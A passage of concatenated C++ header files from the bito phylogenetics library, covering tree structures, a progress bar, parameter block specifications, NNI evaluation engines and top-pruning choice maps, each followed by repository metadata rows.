std::cout << std::to_string(iter.first) << " " << std::to_string(iter.second)
<< std::endl;
}
}
private:
const T default_value_;
std::unordered_map<Key, T> map_;
};
#ifdef DOCTEST_LIBRARY_INCLUDED
TEST_CASE("DefaultDict") {
auto d = DefaultDict<int, int>(0);
CHECK_EQ(d.at(4), 0);
d.increment(4, 5);
CHECK_EQ(d.at(4), 5);
d.increment(4, 2);
CHECK_EQ(d.at(4), 7);
}
#endif // DOCTEST_LIBRARY_INCLUDED
| 2,053
|
C++
|
.h
| 60
| 30.516667
| 83
| 0.648457
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,096
|
tree.hpp
|
phylovi_bito/src/tree.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
#pragma once
#include <iostream>
#include <memory>
#include <string>
#include <unordered_map>
#include <vector>
#include "node.hpp"
#include "sugar.hpp"
class Tree {
public:
using TreeVector = std::vector<Tree>;
using BranchLengthVector = std::vector<double>;
Tree() = default;
// This is the primary constructor. The branch lengths are indexed according to the
// numbering of the nodes of the tree (see node.hpp for details on how that works.)
explicit Tree(const Node::NodePtr& topology, BranchLengthVector branch_lengths);
// This constructor takes a map of tags to branch lengths; this map gets
// turned into a branch length vector. It re-ids the topology. Note: any
// missing branch lengths are set to zero.
explicit Tree(const Node::NodePtr& topology, TagDoubleMap branch_lengths);
const Node::NodePtr Topology() const { return topology_; }
const BranchLengthVector& BranchLengths() const { return branch_lengths_; }
uint32_t LeafCount() const { return Topology()->LeafCount(); }
Node::NodePtrVec Children() const { return Topology()->Children(); }
size_t Id() const { return Topology()->Id(); }
std::vector<size_t> ParentIdVector() const { return Topology()->ParentIdVector(); }
Tree DeepCopy() const;
bool operator==(const Tree& other) const;
std::string Newick() const { return Newick(std::nullopt); }
std::string Newick(const TagStringMapOption& node_labels) const;
std::string NewickTopology(const TagStringMapOption& node_labels) const;
double BranchLength(const Node* node) const;
// Take a bifurcating tree and move the root position so that the left hand
// branch has zero branch length. Modifies tree in place.
void SlideRootPosition();
// Build a tree from a topology using unit branch lengths.
static Tree UnitBranchLengthTreeOf(Node::NodePtr topology);
static Tree OfParentIdVector(const std::vector<size_t>& indices);
static TreeVector ExampleTrees();
// We make branch lengths public so we can muck with them in Python.
BranchLengthVector branch_lengths_;
protected:
Node::NodePtr topology_;
};
inline bool operator!=(const Tree& lhs, const Tree& rhs) { return !(lhs == rhs); }
#ifdef DOCTEST_LIBRARY_INCLUDED
// Lots of tests in UnrootedTree and RootedTree.
TEST_CASE("Tree") {}
#endif // DOCTEST_LIBRARY_INCLUDED
| 2,446
|
C++
|
.h
| 51
| 45.333333
| 85
| 0.753574
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,097
|
ProgressBar.hpp
|
phylovi_bito/src/ProgressBar.hpp
|
// Modified slightly from https://github.com/prakhar1989/progress-cpp
#pragma once
#include <chrono>
#include <iomanip>
#include <iostream>
class ProgressBar {
private:
unsigned int ticks = 0;
const unsigned int total_ticks;
const unsigned int bar_width = 70;
const char complete_char = '=';
const char incomplete_char = ' ';
const std::chrono::steady_clock::time_point start_time =
std::chrono::steady_clock::now();
public:
ProgressBar(unsigned int total, unsigned int width, char complete, char incomplete)
: total_ticks{total},
bar_width{width},
complete_char{complete},
incomplete_char{incomplete} {}
ProgressBar(unsigned int total, unsigned int width)
: total_ticks{total}, bar_width{width} {}
ProgressBar(unsigned int total) : total_ticks{total} {}
unsigned int operator++() { return ++ticks; }
float calculate_seconds_elapsed() const {
std::chrono::steady_clock::time_point now = std::chrono::steady_clock::now();
auto time_elapsed =
std::chrono::duration_cast<std::chrono::milliseconds>(now - start_time).count();
return float(time_elapsed) / 1000.0;
}
void display(bool show_hours = false) const {
float progress = static_cast<float>(ticks) / total_ticks;
auto pos = static_cast<unsigned>(bar_width * progress);
auto seconds_elapsed = calculate_seconds_elapsed();
std::cout << "[";
for (size_t i = 0; i < bar_width; ++i) {
if (i < pos)
std::cout << complete_char;
else if (i == pos)
std::cout << ">";
else
std::cout << incomplete_char;
}
std::cout << "] " << int(progress * 100.0) << "% " << seconds_elapsed;
if (show_hours == true) {
std::cout << "s " << seconds_elapsed / 60. << "m " << seconds_elapsed / 3600.
<< "h\r";
} else {
std::cout << "s\r";
}
std::cout.flush();
}
void done() const {
display(true);
std::cout << std::endl;
std::cout.flush();
}
};
| 2,001
|
C++
|
.h
| 58
| 29.465517
| 88
| 0.628172
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,098
|
block_specification.hpp
|
phylovi_bito/src/block_specification.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// This class describes the structure of parameter collections that sit in
// contiguous blocks. These structures are maps from string keys (which are the
// block names) to Coordinates. See the unit tests at the bottom to see how they
// work.
//
// There is a special key called entire_key_ which gives the entire span of the
// block.
#pragma once
#include "eigen_sugar.hpp"
#include "sugar.hpp"
class BlockSpecification {
public:
// Block Coordinates are (starting index, block size) in a pair.
using Coordinates = std::pair<size_t, size_t>;
// ParamCounts are maps of (block name, number of parameters for that block).
using ParamCounts = std::map<std::string, size_t>;
using UnderlyingMapType = std::map<std::string, Coordinates>;
// These are handy structures: maps from the block specification keys to
// segments (i.e. sub-vectors) and blocks (i.e. sub-matrices). We can then
// read and write to these values, which will be reflected in the original
// parameter vector/matrix.
using ParameterSegmentMap = std::map<std::string, EigenVectorXdRef>;
using ParameterBlockMap = std::map<std::string, EigenMatrixXdRef>;
BlockSpecification(ParamCounts param_counts);
Coordinates Find(const std::string& key) const;
void Insert(const std::string& key, Coordinates value);
// Insert for string literals.
void Insert(const char* key, Coordinates value);
// Incorporate another BlockSpecification into `this` one by incrementing all
// of the other starting indices by our parameter count. The "entire" block
// coordinates from other get incorporated into this with key sub_entire_key.
// The "entire" block coordinates are then updated.
void Append(const std::string& sub_entire_key, BlockSpecification other);
void CheckParameterVectorSize(const EigenVectorXdRef param_vector) const;
void CheckParameterMatrixSize(const EigenMatrixXdRef param_matrix) const;
// These methods allow us to pull out segments (i.e. sub-vectors) from vectors
// and blocks from matrices depending on the coordinates of the block
// specification. They are very useful for writing the SetParameters method of
// BlockModels.
EigenVectorXdRef ExtractSegment(EigenVectorXdRef param_vector, std::string key) const;
EigenMatrixXdRef ExtractBlock(EigenMatrixXdRef param_matrix, std::string key) const;
// These are explained in the definition of ParameterSegmentMap and
// ParameterBlockMap.
ParameterSegmentMap ParameterSegmentMapOf(EigenVectorXdRef param_vector) const;
ParameterBlockMap ParameterBlockMapOf(EigenMatrixXdRef param_matrix) const;
const UnderlyingMapType& GetMap() const { return map_; }
// The complete range of parameter counts.
size_t ParameterCount() const { return Find(entire_key_).second; };
// Here's how we set the "entire" key. In C++ we can just use these key
// variables, but in Python we use the strings as dictionary keys.
inline const static std::string entire_key_ = "entire";
private:
UnderlyingMapType map_;
// See top for description of what Entire means in this case.
void InsertEntireKey(Coordinates coordinates);
void EraseEntireKey() { map_.erase(entire_key_); }
};
#ifdef DOCTEST_LIBRARY_INCLUDED
TEST_CASE("BlockSpecification") {
// As an example, kazoo has 4 parameters, and jordan has 23.
BlockSpecification spec({{"kazoo", 4}, {"jordan", 23}});
// The specification stores the starting index and then the number of
// parameters. Because we're using an ordered map, jordan has a lower index
// than kazoo.
const auto correct_spec_map = BlockSpecification::UnderlyingMapType(
{{"entire", {0, 27}}, {"jordan", {0, 23}}, {"kazoo", {23, 4}}});
CHECK_EQ(spec.GetMap(), correct_spec_map);
spec.Append("entire turbo and boost",
BlockSpecification({{"boost", 42}, {"turbo", 666}}));
// Then after appending, the new stuff gets shifted down. For example, we find
// boost at 23+4=27 and turbo at 27+42=69.
auto correct_appended_map = BlockSpecification::UnderlyingMapType(
{{"boost", {27, 42}}, // 23+4=27
{"entire", {0, 735}}, // 4+23+42+666=735
{"entire turbo and boost", {27, 708}}, // 42+666=708
{"jordan", {0, 23}}, //
{"kazoo", {23, 4}}, //
{"turbo", {69, 666}}}); // 27+42=69
CHECK_EQ(spec.GetMap(), correct_appended_map);
}
#endif // DOCTEST_LIBRARY_INCLUDED
| 4,585
|
C++
|
.h
| 84
| 51.345238
| 88
| 0.722247
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,099
|
nni_evaluation_engine.hpp
|
phylovi_bito/src/nni_evaluation_engine.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// The NNI Evaluation Engine is an interfaces for the NNI Engine, that facilitates
// different methods for scoring NNIs. The NNIEngine procedurally finds all NNIs
// adjacent to the current DAG, then passes these NNIs to the helper NNIEvalEngine
// class for scoring. Currently supports scoring by Generalized Pruning and Top Pruning
// (using Likelihoods or Parsimonies).
#pragma once
#include "gp_dag.hpp"
#include "graft_dag.hpp"
#include "nni_engine_key_index.hpp"
#include "dag_branch_handler.hpp"
#include "gp_engine.hpp"
#include "tp_engine.hpp"
using NNIDoubleMap = std::map<NNIOperation, double>;
// Forward declaration.
class NNIEngine;
// NNIEngine helper for evaluation NNIs -- base class.
class NNIEvalEngine {
public:
using KeyIndex = NNIEngineKeyIndex;
using KeyIndexPairArray = NNIEngineKeyIndexPairArray;
using KeyIndexMap = NNIEngineKeyIndexMap;
using KeyIndexMapPair = NNIEngineKeyIndexMapPair;
explicit NNIEvalEngine(NNIEngine &nni_engine);
virtual ~NNIEvalEngine() {}
// ** Maintenance
// Initialize Evaluation Engine.
virtual void Init() { Failwith("Pure virtual function call."); }
// Prepare Evaluation Engine for NNI Engine loop.
virtual void Prep() { Failwith("Pure virtual function call."); }
// Resize Engine for modified DAG.
virtual void GrowEngineForDAG(std::optional<Reindexer> node_reindexer,
std::optional<Reindexer> edge_reindexer) {
Failwith("Pure virtual function call.");
}
// Grow engine to handle computing NNIs for all adjacent NNIs.
// Option to grow engine for computing via reference or via copy. If computing via
// reference, option whether to use unique temporaries (for testing and computing in
// parallel).
virtual void GrowEngineForAdjacentNNIs(const NNISet &adjacent_nnis,
const bool via_reference = true,
const bool use_unique_temps = true) {
Failwith("Pure virtual function call.");
}
// Update engine after modifying DAG (adding nodes and edges).
virtual void UpdateEngineAfterModifyingDAG(
const std::map<NNIOperation, NNIOperation> &pre_nni_to_nni,
const size_t prev_node_count, const Reindexer &node_reindexer,
const size_t prev_edge_count, const Reindexer &edge_reindexer) {
Failwith("Pure virtual function call.");
}
// ** Scoring
// Grow Evaluation Engine to account for
// Compute scores for all NNIs adjacent to current DAG.
virtual void ScoreAdjacentNNIs(const NNISet &adjacent_nnis) {
Failwith("Pure virtual function call.");
}
// Score NNI currently in DAG. Expects engine has been prepped and updated after
// modifying DAG.
virtual double ScoreInternalNNIByNNI(const NNIOperation &nni) const {
Failwith("Pure virtual function call.");
}
virtual double ScoreInternalNNIByEdge(const EdgeId &edge_id) const {
Failwith("Pure virtual function call.");
}
// Get the number of spare nodes needed per proposed NNI.
virtual size_t GetSpareNodesPerNNI() const {
Failwith("Pure virtual function call.");
}
// Get the number of spare edges needed per proposed NNI.
virtual size_t GetSpareEdgesPerNNI() const {
Failwith("Pure virtual function call.");
}
// ** Access
// Get reference NNIEngine.
const NNIEngine &GetNNIEngine() const {
Assert(nni_engine_ != nullptr, "DAG is not set.");
return *nni_engine_;
}
// Get reference DAG.
const GPDAG &GetDAG() const {
Assert(dag_ != nullptr, "DAG is not set.");
return *dag_;
}
// Get reference GraftDAG.
const GraftDAG &GetGraftDAG() const {
Assert(graft_dag_ != nullptr, "GraftDAG is not set.");
return *graft_dag_;
}
// Get all Scored NNIs.
const NNIDoubleMap &GetScoredNNIs() const { return scored_nnis_; }
// Get DAG branch handler.
const DAGBranchHandler &GetDAGBranchHandler() const {
Failwith("Pure virtual function call.");
}
// Retrieve Score for given NNI.
double GetScoreByNNI(const NNIOperation &nni) const;
// Retrieve Score for given edge in DAG.
double GetScoreByEdge(const EdgeId edge_id) const;
// Find maximum score in DAG.
double GetMaxScore() const;
// Find minimum score in DAG.
double GetMinScore() const;
// Determines whether to optimize edges on initialization.
bool IsOptimizeOnInit() const { return optimize_on_init_; }
void SetOptimizeOnInit(const bool optimize_on_init) {
optimize_on_init_ = optimize_on_init;
}
// Determines whether new edges are optimized.
bool IsOptimizeNewEdges() const { return optimize_new_edges_; }
void SetOptimizeNewEdges(const bool optimize_new_edges) {
optimize_new_edges_ = optimize_new_edges;
}
// Determines whether new edges are initialized by referencing pre-NNI edges.
bool IsCopyNewEdges() const { return copy_new_edges_; }
void SetCopyNewEdges(const bool copy_new_edges) { copy_new_edges_ = copy_new_edges; }
// Determines maximum number of iterations to perform when optimizing edges.
size_t GetOptimizationMaxIteration() const { return optimize_max_iter_; }
void SetOptimizationMaxIteration(const size_t optimize_max_iter) {
optimize_max_iter_ = optimize_max_iter;
}
protected:
// Get reference NNIEngine.
NNIEngine &GetNNIEngine() {
Assert(nni_engine_ != nullptr, "NNIEngine is not set.");
return *nni_engine_;
}
// Get reference DAG.
GPDAG &GetDAG() {
Assert(dag_ != nullptr, "DAG is not set.");
return *dag_;
}
// Get reference GraftDAG.
GraftDAG &GetGraftDAG() {
Assert(graft_dag_ != nullptr, "GraftDAG is not set.");
return *graft_dag_;
}
// Get all Scored NNIs.
NNIDoubleMap &GetScoredNNIs() { return scored_nnis_; }
// Un-owned reference to NNIEngine.
NNIEngine *nni_engine_ = nullptr;
// Un-owned reference to DAG.
GPDAG *dag_ = nullptr;
// Un-owned reference to GraftDAG.
GraftDAG *graft_dag_ = nullptr;
// Scored NNIs.
NNIDoubleMap scored_nnis_;
// Whether to optimize all edges in DAG on initialization.
bool optimize_on_init_ = true;
// Whether new branches are initialized by referencing pre-NNI lengths.
bool copy_new_edges_ = true;
// Whether new branches are optimized.
bool optimize_new_edges_ = true;
// Number of optimization iterations.
size_t optimize_max_iter_ = 10;
};
// NNIEngine helper for evaluating NNIs by using Generalized Pruning. Calls GPEngine
// for functionality. See gp_engine.hpp for more details.
class NNIEvalEngineViaGP : public NNIEvalEngine {
public:
NNIEvalEngineViaGP(NNIEngine &nni_engine, GPEngine &gp_engine);
// ** Maintenance
// Initialize EvalEngine.
void Init() override;
// Prepare EvalEngine for NNIEngine loop.
void Prep() override;
// Resize EvalEngine for modified DAG.
void GrowEngineForDAG(std::optional<Reindexer> node_reindexer,
std::optional<Reindexer> edge_reindexer) override;
// Fetches Pre-NNI data to prep Post-NNI for score computation. Method stores
// intermediate values in the GPEngine temp space (expects GPEngine has already been
// resized).
void GrowEngineForAdjacentNNIs(const NNISet &adjacent_nnis,
const bool via_reference = true,
const bool use_unique_temps = true) override;
// Update engine after modifying DAG (adding nodes and edges).
virtual void UpdateEngineAfterModifyingDAG(
const std::map<NNIOperation, NNIOperation> &pre_nni_to_nni,
const size_t prev_node_count, const Reindexer &node_reindexer,
const size_t prev_edge_count, const Reindexer &edge_reindexer);
// ** Scoring
// Compute scores for all NNIs adjacent to current DAG.
void ScoreAdjacentNNIs(const NNISet &adjacent_nnis) override;
// Score NNI currently in DAG. Expects engine has been prepped and updated after
// modifying DAG.
double ScoreInternalNNIByNNI(const NNIOperation &nni) const override;
double ScoreInternalNNIByEdge(const EdgeId &edge_id) const override;
// Get the number of spare nodes needed per proposed NNI.
size_t GetSpareNodesPerNNI() const override;
// Get the number of spare edges needed per proposed NNI.
size_t GetSpareEdgesPerNNI() const override;
// ** Helpers
// Compute GP likelihood for all adjacent NNIs.
void ComputeAdjacentNNILikelihoods(const NNISet &adjacent_nnis,
const bool via_reference);
// Build GPOperations for computing GP likelihood for a single adjacent NNI. Returns
// likelihood and last NNI's offset (number of edges adjacent to NNI).
std::pair<double, size_t> ComputeAdjacentNNILikelihood(const NNIOperation &nni,
const size_t offset = 0);
template <typename T>
struct AdjEdges {
std::vector<T> parents;
std::vector<T> sisters;
T central;
std::vector<T> leftchildren;
std::vector<T> rightchildren;
};
using AdjEdgeIds = AdjEdges<EdgeId>;
using AdjEdgePCSPs = AdjEdges<Bitset>;
template <typename T>
struct AdjNodes {
std::vector<T> grand_parents;
std::vector<T> grand_sisters;
T parent_focal;
T parent_sister;
T child_left;
T child_right;
std::vector<T> grand_leftchildren;
std::vector<T> grand_rightchildren;
};
using AdjNodeIds = AdjNodes<NodeId>;
using AdjNodeSubsplits = AdjNodes<Bitset>;
struct AdjPVIds {
PVId parent_p;
PVId parent_phatfocal;
PVId parent_phatsister;
PVId parent_rhat;
PVId parent_rfocal;
PVId parent_rsister;
PVId child_p;
PVId child_phatleft;
PVId child_phatright;
PVId child_rhat;
PVId child_rleft;
PVId child_rright;
};
using AdjNodeAndEdgeIds = std::pair<AdjNodeIds, AdjEdgeIds>;
// Get nodes and edges adjacent to NNI in DAG.
AdjNodeAndEdgeIds GetAdjNodeAndEdgeIds(const NNIOperation &nni) const;
// Assign temporary nodes according to pre-NNI in DAG.
AdjNodeAndEdgeIds GetMappedAdjNodeIdsAndTempAdjEdgeIds(
const NNIOperation &pre_nni, const NNIOperation &nni,
const bool copy_branch_lengths = false);
// Assign temporary nodes according to pre-NNI in DAG.
AdjEdgeIds GetTempAdjEdgeIds(const AdjNodeIds &node_ids);
// Assign temporary PVIds for new NNI.
AdjPVIds GetTempAdjPVIds();
std::set<EdgeId> BuildSetOfEdgeIdsAdjacentToNNI(const NNIOperation &nni) const;
std::set<Bitset> BuildSetOfPCSPsAdjacentToNNI(const NNIOperation &nni) const;
// Copies branch length data from pre-NNI to post-NNI before optimization.
void CopyGPEngineDataAfterAddingNNI(const NNIOperation &pre_nni,
const NNIOperation &post_nni);
// Grow engine to handle computing NNI Likelihoods for all adjacent NNIs.
// Option to grow engine for computing likelihoods via reference or via copy. If
// computing via reference, option whether to use unique temporaries (for testing and
// computing in parallel).
void GrowGPEngineForAdjacentNNILikelihoods(const NNISet &adjacent_nnis,
const bool via_reference = true,
const bool use_unique_temps = true);
// Fetches Data from Pre-NNI for Post-NNI. Can be used for initial values when moving
// accepted NNIs from Graft to Host DAG.
KeyIndexMapPair PassGPEngineDataFromPreNNIToPostNNIViaCopy(
const NNIOperation &pre_nni, const NNIOperation &post_nni);
// Fetches Pre-NNI data to prep Post-NNI for likelihood computation. Method stores
// intermediate values in the GPEngine temp space (expects GPEngine has already been
// resized).
KeyIndexMapPair PassGPEngineDataFromPreNNIToPostNNIViaReference(
const NNIOperation &pre_nni, const NNIOperation &post_nni, const size_t nni_count,
const bool use_unique_temps);
// ** Branch Length Optimization
// Optimize all branch lengths over DAG.
void BranchLengthOptimization();
// Optimize only given branch lengths over DAG.
void BranchLengthOptimization(const std::set<EdgeId> &edges_to_optimize);
// Optimize only edges adjacent to an NNI.
void NNIBranchLengthOptimization(const NNIOperation &nni,
const std::set<EdgeId> &new_edge_ids);
void NNIBranchLengthOptimization(const NNIOperation &nni);
// ** Access
// Un-owned reference to GPEngine.
GPEngine &GetGPEngine() { return *gp_engine_; }
const GPEngine &GetGPEngine() const { return *gp_engine_; }
// Get DAG branch handler.
const DAGBranchHandler &GetDAGBranchHandler() const {
return GetGPEngine().GetBranchLengthHandler();
}
protected:
// Unowned reference to GPEngine.
GPEngine *gp_engine_ = nullptr;
// Spare work space for NNI search.
size_t spare_nodes_per_nni_ = 2;
size_t spare_edges_per_nni_ = 5;
// Whether to use uniform SBN parameters
bool use_null_priors_ = false;
};
// NNIEngine helper for evaluating NNIs by using Top Pruning. Calls TPEngine
// for functionality. See tp_engine.hpp for more details.
class NNIEvalEngineViaTP : public NNIEvalEngine {
public:
NNIEvalEngineViaTP(NNIEngine &nni_engine, TPEngine &tp_engine)
: NNIEvalEngine(nni_engine), tp_engine_(&tp_engine) {}
// ** Maintenance
// Initialize Evaluation Engine.
void Init() override;
// Prepare Engine for NNI Engine loop.
void Prep() override;
// Resize Engine for modified DAG.
void GrowEngineForDAG(std::optional<Reindexer> node_reindexer,
std::optional<Reindexer> edge_reindexer) override;
// Fetches Pre-NNI data to prep Post-NNI for likelihood computation. Method stores
// intermediate values in the GPEngine temp space (expects GPEngine has already been
// resized).
void GrowEngineForAdjacentNNIs(const NNISet &adjacent_nnis,
const bool via_reference = true,
const bool use_unique_temps = true) override;
// Update engine after modifying DAG (adding nodes and edges).
void UpdateEngineAfterModifyingDAG(
const std::map<NNIOperation, NNIOperation> &pre_nni_to_nni,
const size_t prev_node_count, const Reindexer &node_reindexer,
const size_t prev_edge_count, const Reindexer &edge_reindexer) override;
// ** Scoring
// Compute scores for all NNIs adjacent to current DAG.
void ScoreAdjacentNNIs(const NNISet &adjacent_nnis) override;
// Score NNI currently in DAG. Expects engine has been prepped and updated after
// modifying DAG.
double ScoreInternalNNIByNNI(const NNIOperation &nni) const override;
double ScoreInternalNNIByEdge(const EdgeId &edge_id) const override;
// Get the number of spare nodes needed per proposed NNI.
size_t GetSpareNodesPerNNI() const override;
// Get the number of spare edges needed per proposed NNI.
size_t GetSpareEdgesPerNNI() const override;
// ** Access
TPEngine &GetTPEngine() { return *tp_engine_; }
const TPEngine &GetTPEngine() const { return *tp_engine_; }
// Get DAG branch handler.
const DAGBranchHandler &GetDAGBranchHandler() const {
return GetTPEngine().GetDAGBranchHandler();
}
protected:
TPEngine *tp_engine_;
};
| 15,242
|
C++
|
.h
| 343
| 39.492711
| 88
| 0.724396
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,100
|
tp_choice_map.hpp
|
phylovi_bito/src/tp_choice_map.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// A TPChoiceMap is a per-edge map of the best adjacent edges applied to a SubsplitDAG
// for Top-Pruning. Used for selecting, updating, and extracting the top tree from the
// DAG. A TPChoiceMap can be used to generate a TreeMask, which is a list of edge ids
// which express a single, complete tree embedded in the DAG, or a Node Topology.
#pragma once
#include <stack>
#include "sugar.hpp"
#include "gp_dag.hpp"
#include "node.hpp"
#include "dag_data.hpp"
using TreeId = GenericId<struct TreeIdTag>;
class TPChoiceMap {
public:
// Per-edge adjacent choices for given edge.
template <typename T>
struct EdgeAdjacentMap {
T parent;
T sister;
T left_child;
T right_child;
T &operator[](EdgeAdjacent edge_adj) {
switch (edge_adj) {
case EdgeAdjacent::Parent:
return parent;
case EdgeAdjacent::Sister:
return sister;
case EdgeAdjacent::LeftChild:
return left_child;
case EdgeAdjacent::RightChild:
return right_child;
};
Failwith("ERROR: Invalid enum given.");
}
const T &operator[](EdgeAdjacent edge_adj) const {
switch (edge_adj) {
case EdgeAdjacent::Parent:
return parent;
case EdgeAdjacent::Sister:
return sister;
case EdgeAdjacent::LeftChild:
return left_child;
case EdgeAdjacent::RightChild:
return right_child;
};
Failwith("ERROR: Invalid enum given.");
}
T &operator[](NNIClade clade) {
switch (clade) {
case NNIClade::ParentFocal:
return parent;
case NNIClade::ParentSister:
return sister;
case NNIClade::ChildLeft:
return left_child;
case NNIClade::ChildRight:
return right_child;
}
Failwith("ERROR: Invalid enum given.");
}
const T &operator[](NNIClade clade) const {
switch (clade) {
case NNIClade::ParentFocal:
return parent;
case NNIClade::ParentSister:
return sister;
case NNIClade::ChildLeft:
return left_child;
case NNIClade::ChildRight:
return right_child;
}
Failwith("ERROR: Invalid enum given.");
}
};
using EdgeChoice = EdgeAdjacentMap<EdgeId>;
using EdgeChoiceNodeIds = EdgeAdjacentMap<NodeId>;
using EdgeChoiceTreeIds = EdgeAdjacentMap<TreeId>;
using EdgeChoicePCSPs = NNIAdjacentMap<Bitset>;
using EdgeChoiceSubsplits = EdgeAdjacentMap<Bitset>;
using EdgeChoiceNodeIdMap = EdgeAdjacentMap<std::pair<NodeId, NodeId>>;
using EdgeChoicePCSPMap = EdgeAdjacentMap<std::pair<Bitset, Bitset>>;
using EdgeChoiceVector = std::vector<EdgeChoice>;
using TreeIdData = std::vector<TreeId>;
// ** Constructors
TPChoiceMap(GPDAG &dag)
: dag_(dag), edge_choice_vector_(dag.EdgeCountWithLeafSubsplits()){};
// ** Access
friend bool operator==(const TPChoiceMap::EdgeChoice &lhs,
const TPChoiceMap::EdgeChoice &rhs) {
if (lhs.parent != rhs.parent) return false;
if (lhs.sister != rhs.sister) return false;
if (lhs.left_child != rhs.left_child) return false;
if (lhs.left_child != rhs.left_child) return false;
return true;
}
// Size of edge choice map.
size_t size() const { return edge_choice_vector_.size(); }
// Get associated DAG.
const GPDAG &GetDAG() const { return dag_; }
// Get choice map for given edge_id.
EdgeChoice &GetEdgeChoice(const EdgeId edge_id) {
return edge_choice_vector_[edge_id.value_];
}
const EdgeChoice &GetEdgeChoice(const EdgeId edge_id) const {
return edge_choice_vector_[edge_id.value_];
}
// Get adjacent edge id in given edge's choice map for adjacent edge direction.
EdgeId GetEdgeChoice(const EdgeId edge_id, EdgeAdjacent edge_adj) const;
// Set given edge choice map's given adjacent edge to the given new_edge_choice.
void SetEdgeChoice(const EdgeId edge_id, const EdgeAdjacent edge_adj,
const EdgeId new_edge_choice);
// Re-initialize edge choices to NoId.
void ResetEdgeChoice(const EdgeId edge_id);
// Get data from edge_choice in choice map, according tp edge_id.
EdgeChoiceNodeIds GetEdgeChoiceNodeIds(const EdgeId edge_id) const;
EdgeChoicePCSPs GetEdgeChoicePCSPs(const EdgeId edge_id) const;
EdgeChoiceSubsplits GetEdgeChoiceSubsplits(const EdgeId edge_id) const;
// Get data from given edge_choice.
EdgeChoiceNodeIds GetEdgeChoiceNodeIds(const EdgeChoice &edge_choice) const;
EdgeChoicePCSPs GetEdgeChoicePCSPs(const EdgeChoice &edge_choice) const;
EdgeChoiceSubsplits GetEdgeChoiceSubsplits(const EdgeChoice &edge_choice) const;
// Apply NNI clade map transform from pre-NNI to post-NNI.
template <typename T>
EdgeAdjacentMap<T> RemapEdgeChoiceDataViaNNICladeMap(
const EdgeAdjacentMap<T> &old_data,
const NNIOperation::NNICladeArray &clade_map) const {
EdgeAdjacentMap<T> new_data{old_data};
auto SetNewDataFromOldData = [&old_data, &new_data,
&clade_map](const NNIClade nni_clade) {
new_data[clade_map[nni_clade]] = old_data[nni_clade];
};
for (const auto nni_clade : NNICladeEnum::Iterator()) {
SetNewDataFromOldData(nni_clade);
}
return new_data;
}
// ** Maintenance
// Grow and reindex data to fit new DAG. Initialize new choice map to first edge.
void GrowEdgeData(const size_t new_edge_count,
std::optional<const Reindexer> edge_reindexer,
std::optional<const size_t> explicit_alloc, const bool on_init);
// ** Selectors
// Naive choice selector. Chooses the first edge from each list of candidates.
void SelectFirstEdge();
void SelectFirstEdge(const EdgeId edge_id);
// Check if choice selection is valid.
// Specifically, checks that:
// - Every edge choice vector has a valid id for all options, unless...
// - Edge goes to root (NoId for sister and parent).
// - Edge goes to leaf (NoId for left and right child).
// - Edges span every leaf and root node.
bool SelectionIsValid(const bool is_quiet = true) const;
// ** TreeMask
// A TreeMask is a set of edge Ids, which represent a tree contained in
// the DAG, from the selected subset of DAG edges.
using TreeMask = std::set<EdgeId>;
// Extract TreeMask from DAG based on edge choices to find best tree with given
// focal edge.
TreeMask ExtractTreeMask(const EdgeId initial_edge_id) const;
// Checks that TreeMask represents a valid, complete tree in the DAG.
// Specifically, checks that:
// - There is a single edge that goes to the root.
// - There is a single edge that goes to each leaf.
// - For each node in mask, there is a single parent, left and right child.
// - Unless node is root (no parent) or leaf (no children).
bool TreeMaskIsValid(const TreeMask &tree_mask, const bool is_quiet = true) const;
// Output TreeMask to string.
std::string TreeMaskToString(const TreeMask &tree_mask) const;
// ** Topology
// Extract tree topology from DAG based on edges choices to find best tree.
// Extract Topology from DAG with given focal edge.
Node::Topology ExtractTopology(const EdgeId initial_edge_id) const;
Node::Topology ExtractTopology(const TreeMask &tree_mask) const;
// ** I/O
// Output edge choice map to string by edge_id.
std::string EdgeChoiceToString(const EdgeId edge_id) const;
// Output edge choice map to string.
static std::string EdgeChoiceToString(const EdgeChoice &edge_choice);
// Output full choice map to string.
std::string ToString() const;
// Output choice map as a PCSP Map from the focal edge to vector of adjacent edges.
using PCSPToPCSPVectorMap = std::map<Bitset, std::vector<Bitset>>;
PCSPToPCSPVectorMap BuildPCSPMap() const;
// Output edge choice map.
friend std::ostream &operator<<(std::ostream &os, const EdgeChoice &edge_choice);
// Output full choice map.
friend std::ostream &operator<<(std::ostream &os, const TPChoiceMap &choice_map);
private:
// ** ExpandedTreeMask
// The ExpandedTreeMask contains a map from all the nodes of a TreeMask to their
// associated parent, left and right child.
template <typename T>
using NodeAdjacentArray = EnumArray<NodeAdjacent, 3, T>;
using ExpandedTreeMask = std::map<NodeId, NodeAdjacentArray<NodeId>>;
// Extract an ExpandedTreeMask from DAG based on a focal edge or previous TreeMask.
ExpandedTreeMask ExtractExpandedTreeMask(const EdgeId focal_edge_id) const;
ExpandedTreeMask ExtractExpandedTreeMask(const TreeMask &tree_mask) const;
// Extract Tree based on given ExpandedTreeMask.
Node::Topology ExtractTopology(ExpandedTreeMask &tree_mask_ext) const;
// Output ExpandedTreeMask to a string.
std::string ExpandedTreeMaskToString(const ExpandedTreeMask &tree_mask) const;
// Un-owned reference DAG.
GPDAG &dag_;
// A vector that stores a map of each edge's best adjacent edges.
EdgeChoiceVector edge_choice_vector_;
